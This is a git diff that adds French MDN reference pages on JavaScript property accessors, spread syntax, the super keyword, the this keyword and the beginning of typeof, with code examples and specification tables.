Les nouveaux venus en JavaScript font souvent l'erreur d'utiliser {{jsxref("eval", "eval()")}} alors que la notation avec crochets pourrait être utilisée. Par exemple, la syntaxe suivante est utilisée dans de nombreux scripts.

+ +
x = eval('document.formulaire.' + controle + '.value');
+
+ +

eval est lente et insécurisée et devrait être évitée dès que possible. Il est préférable d'utiliser la notation avec crochets :

+ +
x = document.formulaire[controle].value;
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-property-accessors', 'Accesseurs de propriété')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.2.1', 'Accesseurs de propriété')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.2.1', 'Accesseurs de propriété')}}{{Spec2('ES1')}}Définition initiale, implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.property_accessors")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/spread_syntax/index.html b/files/fr/web/javascript/reference/operators/spread_syntax/index.html new file mode 100644 index 0000000000..75f97a972f --- /dev/null +++ b/files/fr/web/javascript/reference/operators/spread_syntax/index.html @@ -0,0 +1,262 @@ +--- +title: Syntaxe de décomposition +slug: Web/JavaScript/Reference/Opérateurs/Syntaxe_décomposition +tags: + - ECMAScript 2015 + - ECMAScript6 + - JavaScript + - Reference + - Syntaxe +translation_of: Web/JavaScript/Reference/Operators/Spread_syntax +--- +
{{jsSidebar("Operators")}}
+ +

La syntaxe de décomposition permet d'étendre un itérable (par exemple une expression de tableau ou une chaîne de caractères) en lieu et place de plusieurs arguments (pour les appels de fonctions) ou de plusieurs éléments (pour les littéraux de tableaux) ou de paires clés-valeurs (pour les littéraux d'objets).

+ +
{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}
+ + + +

Syntaxe

+ +

Pour l'utilisation de la décomposition dans les appels de fonction :

+ +
f(...objetIterable);
+
+ +

Pour les littéraux de tableaux :

+ +
[...objetIterable, 4, 5, 6]
+ +

Pour les littéraux objets (nouvelle fonctionnalité pour ECMAScript, actuellement en proposition de niveau 4, finalisée) :

+ +
let objClone = { ...obj };
+ +

Exemples

+ +

Utiliser la décomposition dans les appels de fonction

+ +

Améliorer la fonction apply()

+ +

Il arrive souvent qu'on veuille utiliser {{jsxref( "Function.prototype.apply")}} avec un tableau parmi les arguments de la fonction utilisée :

+ +
function f(x, y, z) { }
+var args = [0, 1, 2];
+f.apply(null, args);
+ +

avec la décomposition, on peut désormais écrire :

+ +
function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...args);
+ +

Tout argument passé à une fonction peut être décomposé grâce à cette syntaxe et cette syntaxe peut être utilisée pour plusieurs arguments.

+ +
function f(v, w, x, y, z) { }
+var args = [0, 1];
+f(-1, ...args, 2, ...[3]);
+ +

Utiliser apply() avec l'opérateur new

+ +

Avec ES5, il n'est pas possible d'utiliser new avec apply (selon ES5 apply effectue un appel [[Call]] et pas un appel [[Construct]]). Avec ES2015, la syntaxe de décomposition permet de le faire naturellement :

+ +
var champsDate = lireChampsDate(maBaseDeDonnées);
+var d = new Date(...champsDate);
+ +

Afin d'utiliser new avec un tableau de paramètres, sans utiliser la décomposition, il faudrait l'employer indirectement grâce à une application partielle :

+ +
function applyAndNew(constructor, args) {
+   function partial () {
+      return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+      partial.prototype = Object.create(constructor.prototype);
+   }
+   return partial;
+}
+
+
+function monConstructeur () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+var mesArguments = ["bi", "bop", "bup", null];
+var monConstructeurAvecArguments = applyAndNew(monConstructor, mesArguments);
+
+console.log(new monConstructeurAvecArguments);
+// (log fourni par monConstructeur):           arguments.length: 4
+// (log fourni par monConstructeur):           ["bi", "bop", "bup", null]
+// (log fourni par "new monConstructeurAvecArguments"): {prop1: "val1", prop2: "val2"}
+
+ +

Utiliser la décomposition dans les littéraux de tableau

+ +

Améliorer les littéraux de tableau

+ +

À l'heure actuelle, sans la décomposition, si on a un tableau et qu'on souhaite créer un nouveau tableau composé du premier, on ne peut pas utiliser un littéral de tableau et il faut utiliser des fonctions comme {{jsxref("Array.prototype.push", "push()")}}, {{jsxref("Array.prototype.splice", "splice()")}}, {{jsxref("Array.prototype.concat", "concat()")}}, etc. Avec la syntaxe de décomposition, cela devient plus succinct :

+ +
var articulations = ['épaules', 'genoux'];
+var corps = ['têtes', ...articulations, 'bras', 'pieds'];
+// ["têtes", "épaules", "genoux", "bras", "pieds"]
+
+ +

Comme pour les fonctions, la syntaxe peut être utilisé plusieurs fois.

+ +

Copier un tableau

+ +
var arr = [1, 2, 3];
+var arr2 = [...arr];
+arr2.push(4);
+
+console.log(arr2); // [1, 2, 3, 4]
+console.log(arr);  // [1, 2, 3] (inchangé)
+
+ +
+

Note : Lorsqu'on utilise la décomposition pour copier un tableau, celle-ci ne s'applique qu'au premier niveau de profondeur. Par conséquent, il peut ne pas convenir pour la copie des tableaux multidimensionnels (des tableaux imbriqués dans d'autres tableaux) comme le montre l’exemple suivant (il en va de même avec {{jsxref("Object.assign()")}} et la décomposition).

+
+ +
var a = [[1], [2], [3]];
+var b = [...a]; // b vaut [[1], [2], [3]]
+
+b.shift().shift(); // *a* vaut désormais [[], [2], [3]];
+
+ +

Une meilleure façon de concaténer des tableaux

+ +

{{jsxref("Array.prototype.concat", "concat")}} est souvent utilisé afin de concaténer un tableau à la suite d'une autre. Avec ES5, on aurait le code suivant :

+ +
var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// On ajoute les éléments de arr2 après ceux de arr1
+var nouveauTableau = arr1.concat(arr2);
+ +

Avec ES2015 et la décomposition, on peut écrire :

+ +
var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr1, ...arr2]; // arr1 vaut [0, 1, 2, 3, 4, 5]
+
+ +

{{jsxref("Array.prototype.unshift", "unshift")}} est souvent utilisé afin d'insérer des valeurs d'un tableau au début d'un autre tableau. Avec ES5, on peut écrire :

+ +
var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// On ajoute tous les éléments
+// de arr2 au début de arr1
+Array.prototype.unshift.apply(arr1, arr2) // arr1 vaut [3, 4, 5, 0, 1, 2]
+ +

Avec ES2015 et la décomposition, on peut écrire :

+ +
var arr1 = [4, 5, 6];
+var arr2 = [1, 2, 3];
+arr1 = [...arr2, ...arr1];
+// arr1 vaut désormais [1, 2, 3, 4, 5, 6]
+
+ +
+

Note : Il y a une différence avec unshift() : ici, on crée un nouveau tableau qui est affecté à arr1, le tableau original de arr1 n'est pas modifié "sur place".

+
+ +

Utiliser la décomposition avec les littéraux objet

+ +

La proposition relative à la décomposition des propriétés (actuellement au stade de proposition de niveau 4) vise à ajouter la décomposition des propriétés pour les littéraux objets. Cela permet de copier les propriétés énumérables directement rattachées à un objet source sur un nouvel objet.

+ +

Le clonage superficiel (qui ne rattache pas le prototype) ou la fusion d'objets peut donc être obtenue avec une syntaxe plus concise que celle utilisant {{jsxref("Object.assign()")}}.

+ +
var profil = { prenom: 'Sarah', profilComplet: false };
+var profilMisAJour = { nom: 'Dupont', profilComplet: true };
+
+var clone = { ...profil };
+// Object { prenom: 'Sarah', profilComplet: false }
+
+var fusion = { ...profil, ...profilMisAJour };
+// Object { prenom: 'Sarah', nom: 'Dupont', profilComplet: true };
+ +

On notera que {{jsxref("Object.assign()")}} déclenche les mutateurs, ce qui n'est pas le cas pour la syntaxe de décomposition.

+ +

Il n'est pas possible de remplacer ou de recopier le comportement de la fonction {{jsxref("Object.assign()")}} :

+ +
var profil = { prenom: 'Sarah', profilComplet: false };
+var profilMisAJour = { nom: 'Dupont', profilComplet: true };
+
+const fusionner = ( ...objets) => {...objets};
+var nouveauProfil = fusionner(profil, profilMisAJour);
+// Object { 0: { prenom: 'Sarah', profilComplet: false }, 1: { nom: 'Dupont', profilComplet: true } }
+
+var autreNouveauProfil = fusion({}, obj1, obj2);
+// Object { 0: {}, 1: { prenom: 'Sarah', profilComplet: false }, 2: { nom: 'Dupont', profilComplet: true } }
+
+ +

Dans l'exemple précédent, la syntaxe de décomposition ne fonctionne pas comme on pourrait s'y attendre : il décompose les arguments en un tableau grâce au paramètre du reste.

+ +

La décomposition ne s'applique qu'aux itérables

+ +

Pour rappel : la syntaxe de décomposition ne s'applique qu'aux objets itérables :

+ +
var obj = {"clé1" : "valeur1"};
+function maFonction(x) {
+  console.log(x); // undefined
+}
+maFonction(...obj);
+var args = [...obj];
+console.log(args, args.length) //[] 0
+ +

Utiliser la décomposition avec de nombreuses valeurs

+ +

Lorsqu'on utilise la décomposition (comme dans les exemples précédents), il faut faire attention à ne pas dépasser le nombre maximal d'arguments du moteur JavaScript. En effet, la décomposition place toutes les valeurs sources dans la pile. Pour plus d'informations, consulter {{jsxref( "Function.prototype.apply")}}.

+ +

Les paramètres du reste

+ +

La syntaxe des paramètres du reste ressemble à la syntaxe de décomposition mais est utilisée afin de destructurer des tableaux et des objets. D'une certaine façon, la syntaxe du reste est l'opposée de la décomposition : la première collecte plusieurs éléments et les condense en un seul élément tandis que la seconde explose les éléments. Pour plus d'informations, voir la page sur les paramètres du reste.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array-initializer')}}{{Spec2('ES2015')}}Définie dans plusieurs sections de la spécification : initialisateur de tableau, listes d'argument.
{{SpecName('ES2018', '#sec-object-initializer')}}{{Spec2('ES2018')}}Définie dans la section sur les initialisateurs d'objet.
{{SpecName('ESDraft', '#sec-array-initializer')}}{{Spec2('ESDraft')}}Aucune modification.
{{SpecName('ESDraft', '#sec-object-initializer')}}{{Spec2('ESDraft')}}Aucune modification.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.spread")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/super/index.html b/files/fr/web/javascript/reference/operators/super/index.html new file mode 100644 index 0000000000..05a40df1fc --- /dev/null +++ b/files/fr/web/javascript/reference/operators/super/index.html @@ -0,0 +1,184 @@ +--- +title: super +slug: Web/JavaScript/Reference/Opérateurs/super +tags: + - Classes + - ECMAScript 2015 + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/super +--- +
{{jsSidebar("Operators")}}
+ +

Le mot-clé super est utilisé afin d'appeler ou d'accéder à des fonctions définies sur l'objet parent.

+ +

Les expressions de la forme super.propriété et super[expr] sont valides pour n'importe quelle définition de méthode, que ce soit au sein d'une classe ou d'un littéral objet.

+ +

Syntaxe

+ +
super([arguments]); // Le constructeur parent est appelé
+super.functionOnParent([arguments]);
+ +

Description

+ +

Lorsqu'il est utilisé dans un constructeur, le mot-clé super est utilisé seul et doit apparaître avant le mot-clé this. Ce mot-clé peut également être utilisé afin d'appeler des fonctions sur un objet parent.

+ +

Exemples

+ +

Utiliser super avec les classes

+ +

Ce fragment de code est tiré de cet exemple :

+ +
class Rectangle {
+  constructor(hauteur, largeur) {
+    this.name = 'Rectangle';
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+  coucou(){
+    console.log('Coucou, je suis un ' + this.name + '.');
+  }
+  get aire() {
+    return this.hauteur * this.largeur;
+  }
+  set aire(valeur) {
+    this.hauteur = Math.sqrt(valeur);
+    this.largeur = Math.sqrt(valeur);
+  }
+}
+
+class Carré extends Rectangle {
+  constructor(longueur) {
+
+    // Ici, on appelle le constructeur de Rectangle
+    // qui est l'objet « parent » de Carré
+    super(longueur, longueur);
+
+    // Pour les classes dérivées, super() doit être appelé
+    // avant d'utiliser 'this' sinon cela entraînera une
+    // exception ReferenceError.
+    this.name = 'Carré';
+  }
+}
+ +

Utiliser super pour appeler des méthodes statiques

+ +

Il est possible d'utiliser super pour invoquer des méthodes statiques :

+ +
class Rectangle {
+  constructor() {}
+  static logNbCotes() {
+    return "J'ai 4 côtés";
+  }
+}
+
+class Carre extends Rectangle {
+  constructor(){}
+  static logDescription() {
+    return super.logNbCotes() + ' qui sont tous égaux';
+  }
+}
+Carre.logDescription(); // "J'ai 4 côtés qui sont tous égaux"
+
+ +

Supprimer des propriétés parentes lèvera une exception

+ +

Il n'est pas possible d'utiliser l'opérateur delete sur super.prop ou super[expr] pour supprimer une propriété de la classe parente, cela renverra une exception {{jsxref("ReferenceError")}} :

+ +
class Base {
+  constructor() {}
+  toto() {}
+}
+
+class Dérivée extends Base {
+  constructor() {}
+  delete() {
+    delete super.toto;
+  }
+}
+
+new Dérivée().delete();
+// ReferenceError : suppression invalide avec 'super'
+ +

Super.prop ne peut pas surcharger les propriétés non modifiables

+ +

Lorsque des propriétés sont définies sans accès en écriture (non-writable), par exemple avec {{jsxref("Object.defineProperty")}}, super ne peut pas surcharger les valeurs de ces propriétés.

+ +
class X {
+  constructor() {
+    Object.defineProperty(this, "prop", {
+      configurable: true,
+      writable: false,
+      value: 1
+    });
+  }
+}
+class Y extends X {
+  constructor() {
+    super();
+  }
+  toto(){
+    super.prop = 2; // Impossible de surcharger
+  }
+}
+var y = new Y();
+y.toto(); // TypeError "prop" is read-only
+console.log(y.prop); // 1
+
+ +

Utiliser super.prop sur les littéraux objets

+ +

super peut également être utilisé avec la notation littérale. Dans l'exemple qui suit, deux objets définissent chacun une méthode. Le deuxième objet utilise super pour appeler la méthode du premier objet. Cela fonctionne grâce à {{jsxref("Object.setPrototypeOf()")}} avec lequel on définit que le prototype de obj2 est obj1. De cette façon, super peut parcourir la chaîne de prototypes et trouver méthode1 dans obj1.

+ +
var obj1 = {
+  méthode1() {
+    console.log("méthode 1");
+  }
+}
+
+var obj2 = {
+  méthode2() {
+    super.méthode1();
+  }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.méthode2(); // affiche "méthode 1" dans la console
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-super-keyword', 'super')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.super")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/this/index.html b/files/fr/web/javascript/reference/operators/this/index.html new file mode 100644 index 0000000000..a5b23ca81d --- /dev/null +++ b/files/fr/web/javascript/reference/operators/this/index.html @@ -0,0 +1,420 @@ +--- +title: L'opérateur this +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_this +tags: + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/this +--- +
{{jsSidebar("Operators")}}
+ +

En JavaScript, le mot-clé this se comporte légèrement différemment des autres langages de programmation. Son comportement variera également légèrement selon qu'on utilise le mode strict ou le mode non-strict.

+ +

Dans la plupart des cas, la valeur de this sera déterminée à partir de la façon dont une fonction est appelée. Il n'est pas possible de lui affecter une valeur lors de l'exécution et sa valeur peut être différente à chaque fois que la fonction est appelée. La méthode {{jsxref("Function.prototype.bind()","bind()")}} a été introduite avec ECMAScript 5 pour définir la valeur de this pour une fonction, indépendamment de la façon dont elle est appelée. ECMAScript 2015 (ES6) a ajouté les fonctions fléchées dans lesquelles this correspond à la valeur du contexte englobant.

+ +
{{EmbedInteractiveExample("pages/js/expressions-this.html")}}
+ + + +

Syntaxe

+ +
this
+ +

Valeur

+ +

L'objet JavaScript représentant le contexte dans lequel le code courant est exécuté.

+ +

Dans le contexte global

+ +

Dans le contexte global d'exécution (c'est-à-dire, celui en dehors de toute fonction), this fait référence à l'objet global (qu'on utilise ou non le mode strict).

+ +
// Si l'environnement de script est un navigateur,
+// l'objet window sera l'objet global
+console.log(this === window); // true
+
+this.a = 37;
+console.log(window.a); // 37
+
+this.b = "MDN";
+console.log(window.b); // "MDN"
+console.log(b);        // "MDN"
+
+ +
+

Note : Il est également possible d'accéder au contexte global avec la propriété {{jsxref("globalThis")}} quel que soit le contexte utilisé pour l'exécution.

+
+ +

Dans le contexte d'une fonction

+ +

S'il est utilisé dans une fonction, la valeur de this dépendra de la façon dont la fonction a été appelée.

+ +

Avec un appel simple

+ +
function f1(){
+  return this;
+}
+
+// Dans un navigateur
+f1() === window; // true (objet global)
+
+// Côté serveur (ex. Node)
+f1() === global; // true
+
+ +

Dans cet exemple, la valeur de this n'est pas définie lors de l'appel. Le code n'étant pas en mode strict, this doit toujours être un objet et ce sera donc l'objet global (soit {{domxref("Window", "window")}} pour un navigateur).

+ +
function f2(){
+  "use strict"; // on utilise le mode strict
+  return this;
+}
+
+f2() === undefined; // true
+
+ +

En mode strict, la valeur de this est conservée (il reste le même) entre le moment de sa définition et l'entrée dans le contexte d'exécution. S'il n'est pas défini, il reste undefined. Il pourrait être défini avec n'importe quelle autre valeur, telle que null ou 42 ou "Je ne suis pas this".

+ +
Note : Dans ce deuxième exemple,this vaut {{jsxref("undefined")}} car f2 a été appelé sans « base » (ex. : window.f2()). Cette fonctionnalité ne fut pas correctement implémentée dans certains navigateurs aux débuts du mode strict, en effet, certains renvoyaient alors l'objet window.
+ +

call et apply

+ +

Pour passer this d'un contexte à un autre, on pourra utiliser {{jsxref("Function.prototype.call()", "call()")}} ou {{jsxref("Function.prototype.apply()", "apply()")}} :

+ +
// Un objet peut être passé en premier argument
+// de call ou de apply
+var obj = { a: "Toto" };
+
+// Ici, on déclare une variable et la variable est affectée à l'objet global window comme propriété de celui-ci
+var a = "Global";
+
+function whatsThis(arg) {
+  // La valeur de this ici dépend de la façon
+  // dont la fonction est appelée
+  return this.a;
+}
+
+whatsThis();          // 'Global' car celui-ci dans la fonction n'est pas défini, il est donc défini par défaut sur l'objet global window
+whatsThis.call(obj);  // "Toto"
+whatsThis.apply(obj); // "Toto"
+
+ +

Lorsque le mot-clé this est utilisé dans le corps d'une fonction, il est possible d'utiliser les méthodes {{jsxref("Function.prototype.call()", "call()")}} ou {{jsxref("Function.prototype.apply()", "apply()")}} pour lier this à un objet donné. Toutes les fonctions héritent de ces méthodes grâce à {{jsxref("Function.prototype")}}.

+ +
function ajout(c, d){
+  return this.a + this.b + c + d;
+}
+
+var o = {a:1, b:3};
+
+// Le premier paramètre correspond à l'objet qu'on souhaite
+// lier à 'this', les paramètres suivants sont les arguments
+// à utiliser dans l'appel de la fonction
+ajout.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
+
+// Le premier paramètre correspond à l'objet qu'on souhaite
+// lier à 'this', le second paramètre est le tableau dont les
+// les éléments sont les arguments à passer à la fonction
+ajout.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
+
+ +

Note : En mode non-strict, si la valeur à lier à this, passée à call ou apply, n'est pas un objet, le moteur JavaScript tentera de la convertir en un objet grâce à l'opération interne ToObject. Si la valeur est d'un type primitif autre qu'objet, 7 ou 'toto' par exemple, elle sera convertie en un objet grâce au constructeur associé. Ainsi, on aura le nombre 7 converti en un objet grâce à new Number(7) et la chaîne 'toto' convertie en objet grâce à new String('toto').

+ +
function truc() {
+  console.log(Object.prototype.toString.call(this));
+}
+
+truc.call(7);     // [object Number]
+truc.call('foo'); // [object String]
+
+ +

La méthode bind

+ +

Avec ECMAScript 5, une nouvelle fonction fut introduite : {{jsxref("Function.prototype.bind()")}}. Lorsqu'on appelle f.bind(unObjet), on crée une nouvelle fonction qui possède le même corps et la même portée que f, mais où this sera lié, de façon permanente, au premier argument passé à bind, quelle que soit la façon dont la méthode est utilisée.

+ +
function f(){
+  return this.a;
+}
+
+var g = f.bind({a:"azerty"});
+console.log(g()); // azerty
+
+var h = g.bind({a:"coucou"}); // bind ne fonctionne qu'une seule fois
+console.log(h()); // azerty
+
+var o = {a:37, f:f, g:g, h:h};
+console.log(o.a, o.f(), o.g(), o.h()); // 37, 37, azerty, azerty
+
+ +

Avec les fonctions fléchées

+ +

En utilisant les fonctions fléchées, this correspond à la valeur de this utilisé dans le contexte englobant. Lorsqu'on utilise une fonction fléchée dans du code global, this sera l'objet global :

+ +
var objetGlobal = this;
+var toto = (() => this);
+console.log(toto() === objetGlobal); // true
+ +

Peu importe la façon dont toto sera appelée, this sera toujours l'objet global. Cela est également valable pour les méthodes d'objet (où généralement this correspond à l'objet courant) ou lorsque call, apply ou bind sont utilisés :

+ +
// Appelé comme la méthode d'un objet
+var obj = {toto: toto};
+console.log(obj.toto() === objetGlobal); // true
+
+// Ici on utilise call
+console.log(toto.call(obj) === objetGlobal); // true
+// Là on utilise bind
+toto = toto.bind(obj);
+console.log(toto() === objetGlobal); // true
+ +

Quelle que soit la méthode utilisée le this de toto sera défini avec la valeur qu'il avait lors de la création (dans l'exemple précédent, il s'agit de l'objet global). Cela vaut également pour les fonctions fléchées créées dans d'autres fonctions : this prendra la valeur de this dans le contexte englobant.

+ +
// On crée un objet obj qui a une méthode truc
+// qui renvoie une fonction qui renvoie la
+// valeur de this.
+// La fonction qui est renvoyée est créée sous
+// la forme d'une fonction fléchée. this est
+// donc fixé de façon permanente avec la valeur
+// de this du contexte englobant.
+var obj = { truc : function() {
+                    var x = (() => this);
+                    return x;
+                  }
+          };
+// On appelle truc comme une méthode d'obj, this
+// vaudra donc obj. On récupère la fonction
+// renvoyée par truc et on en stocke une référence
+// avec la variable fn
+var fn = obj.truc();
+
+// On appelle fn sans définir this, par défaut
+// en mode strict cela correspondrait à l'objet
+// global ou à undefined
+console.log(fn() === obj); // true
+
+// Attention à ne pas référence la méthode d'obj
+// sans l'appeler
+var fn2 = obj.truc;
+// Appeler le this de la fonction fléchée dans ce contexte
+// renverra window car c'est le this associé à fn2 (qui
+// correspond au contexte global)
+console.log(fn2()() == window); // true
+ +

Dans l'exemple précédent, la fonction affectée à obj.truc renvoie une autre fonction créée sous la forme d'une fonction fléchée. Par conséquent, this vaut toujours obj.truc lorsque la fonction est appelée. Lorsque la fonction est renvoyée, this continue de correspondre à la valeur initiale. Dans ce code, this vaut obj et garde cette valeur, même lorsqu'il est appelé plus tard.

+ +

En tant que méthode d'un objet

+ +

Lorsqu'une fonction est appelée comme méthode d'un objet, this correspondra à l'objet possédant la méthode qu'on appelle.

+ +

Ainsi, dans l'exemple suivant, lorsqu'on appelle o.f(), le this contenu à l'intérieur de la fonction correspond à l'objet o.

+ +
var o = {
+  prop: 37,
+  f: function() {
+    return this.prop;
+  }
+};
+
+console.log(o.f()); // 37
+
+ +

On notera que ce comportement n'est pas du tout affecté par la façon ou l'endroit de la définition de la fonction. Dans l'exemple précédent, on aurait très bien pu définir la fonction plus tard et la rattacher à une propriété de o plutôt que de la déclarer de cette façon. On aura le même résultat en faisant ainsi :

+ +
var o = {prop: 37};
+
+function indépendante() {
+  return this.prop;
+}
+
+o.f = indépendante;
+
+console.log(o.f()); // 37
+
+ +

On voit ici que ce qui importe est la façon dont la fonction est appelée et non pas la façon dont elle est définie. Ici la fonction est appelée comme une propriété (méthode) de o.

+ +

De la même façon, this n'est affecté que par la référence la plus proche. Autrement dit, dans l'exemple suivant quand on appelle la fonction o.b.g, on appelle la méthode g de l'objet o.b. Ainsi, au moment de l'exécution, this fera référence à o.b. Le fait que cet objet soit une propriété de o n'a aucun impact : seule la référence objet la plus proche compte.

+ +
o.b = {g: indépendante, prop: 42};
+console.log(o.b.g()); // 42
+
+ +

this sur la chaîne de prototypes de l'objet

+ +

Ce qui a été vu ci-avant est également applicable pour les méthodes qui sont présentes sur la chaîne de prototypes de l'objet. Si une méthode se situe sur la chaîne de prototype, this fera référence à l'objet appelant (de la même façon que si la méthode était une propriété directe de l'objet).

+ +
var o = {f:function(){ return this.a + this.b; }};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+
+ +

Dans cet exemple, l'objet qui est affecté à la variable p ne possède pas directement la propriété f, il en hérite de par son prototype. Cela n'impacte en rien la détermination de this car la recherche de la propriété f remonte le long de la chaîne de prototype et s'arrête à o. Au début de cette recherche, on a une référence à p.f, aussi this fera référence à l'objet représenté par p. Autrement dit f étant appelé comme une méthode de p, this fera ici référence à p. Cette fonctionnalité fait partie des caractéristiques de l'héritage prototypal de JavaScript.

+ +

this dans un getter ou setter

+ +

Ici aussi, on a le même principe lorsque la fonction est appelée à partir d'un accesseur (getter) ou d'un mutateur (setter). Une fonction utilisée comme accesseur ou mutateur verra son this lié à l'objet à partir duquel on souhaite accéder/changer la propriété.

+ +
function moduleRéel(){
+  return Math.sqrt(this.re * this.re + this.im * this.im);
+}
+
+var o = {
+  re: 1,
+  im: -1,
+  get phase(){
+    return Math.atan2(this.im, this.re);
+  }
+};
+
+Object.defineProperty(o, 'moduleRéel', {
+    get: moduleRéel, enumerable:true, configurable:true});
+
+console.log(o.phase, o.moduleRéel); // logs -0.78 1.4142
+
+ +

En tant que constructeur

+ +

Lorsqu'une fonction est utilisée comme constructeur (c'est-à-dire qu'elle est invoquée avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new","new")}}), le this correspondant sera lié au nouvel objet en train d'être construit.

+ +
+

Note : Par défaut, un constructeur renverra l'objet auquel this fait référence. Cependant si la valeur de retour du constructeur est définie et est un objet, ce sera elle qui sera renvoyée (sinon ce sera la valeur de this).

+
+ +
/*
+ * Les constructeurs fonctionnent de la façon suivante :
+ *
+ * function MonConstructeur(){
+ *   // le corps de la fonction
+ *   // on crée des propriétés sur |this|
+ *   // par exemple
+ *   this.fum = "nom";
+ *   // etc.
+ *
+ *   // Si la fonction utilise une instruction de
+ *   // retour (return) et renvoie un objet
+ *   // ce sera cet objet qui sera le résultat de
+ *   // l'expression |new|.
+ *   // Sinon, le résultat sera l'objet
+ *   // lié à |this|
+ *   // (ce second cas est celui qu'on rencontre
+ *   // fréquemment).
+ * }
+ */
+
+function C(){
+  this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // 37
+
+
+function C2(){
+  this.a = 37;
+  return {a:38};
+}
+
+o = new C2();
+console.log(o.a); // 38
+
+ +

Dans le dernier exemple (C2), on renvoie un objet lors de la construction. L'objet qui était lié this est alors abandonné. (L'instruction "this.a = 37;" devient alors totalement inutile, bien qu'elle soit exécutée, elle n'aura aucun effet de bord.)

+ +

En tant que gestionnaire d'événement DOM

+ +

Lorsqu'une fonction est utilisée comme gestionnaire d'événement (event handler), le this correspondant prendra la valeur de l'élément ayant déclenché l'événement (certains navigateurs ne suivent pas cette convention et les gestionnaires sont ajoutés dynamiquement avec d'autres méthodes qu'{{domxref("EventTarget.addEventListener()", "addEventListener()")}}).

+ +
// Lorsque cette fonction est appelée
+// comme listener, l'élément associé
+// sera coloré en bleu
+function bluify(e){
+  // Cette proposition est toujours vraie
+  console.log(this === e.currentTarget);
+
+  // true lorsque currentTarget et target correspondent
+  // au même objet
+  console.log(this === e.target);
+
+  this.style.backgroundColor = '#A5D9F3';
+}
+
+// On obtient une liste de tous les éléments
+// contenus dans le document
+var elements = document.getElementsByTagName('*');
+
+// On ajout le listener bluify pour réagier au clic
+// Quand on clique sur un élément, il deviendra bleu
+for(var i=0 ; i<elements.length ; i++){
+  elements[i].addEventListener('click', bluify, false);
+}
+ +

En tant que gestionnaire d'événements in-line

+ +

Lorsque le code est appelé depuis un gestionnaire d'événement « en ligne » (in-line), la valeur de this correspondra à l'élément du DOM sur lequel on a placé le listener. Ainsi :

+ +
<button onclick="console.log(this.tagName.toLowerCase());">
+  Afficher this
+</button>
+
+ +

montrera le texte button lorsqu'on cliquera dessus. Attention, seul le code externe verra la valeur de this affectée de cette façon :

+ +
<button onclick="console.log((function(){return this})());">
+  Afficher le this interne
+</button>
+
+ +

Ici, on utilise this à l'intérieur d'une fonction et il n'est pas défini en amont. Il renvoie donc l'objet global (l'objet window pour un navigateur avec du code non-strict).

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-this-keyword', 'Le mot-clé this')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-this-keyword', 'Le mot-clé this')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.1.1', 'Le mot-clé this')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.1.1', 'Le mot-clé this')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-11.1.1', 'Le mot-clé this')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.this")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/typeof/index.html b/files/fr/web/javascript/reference/operators/typeof/index.html new file mode 100644 index 0000000000..e65d9a6db2 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/typeof/index.html @@ -0,0 +1,273 @@ +--- +title: L'opérateur typeof +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof +tags: + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/typeof +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur typeof renvoie une chaîne qui indique le type de son opérande.

+ +
{{EmbedInteractiveExample("pages/js/expressions-typeof.html")}}
+ + + +

Syntaxe

+ +

L'opérateur typeof est suivi de son opérande :

+ +
typeof operande
+ +

Paramètre

+ +

operande est une expression qui représente la valeur dont on souhaite obtenir le type.

+ +

Description

+ +

Le tableau qui suit liste les résultats possibles de l'opérateur typeof. Pour plus d'informations sur les types et valeurs primitives en JavaScript, voir la page sur les types et structures de données JavaScript.

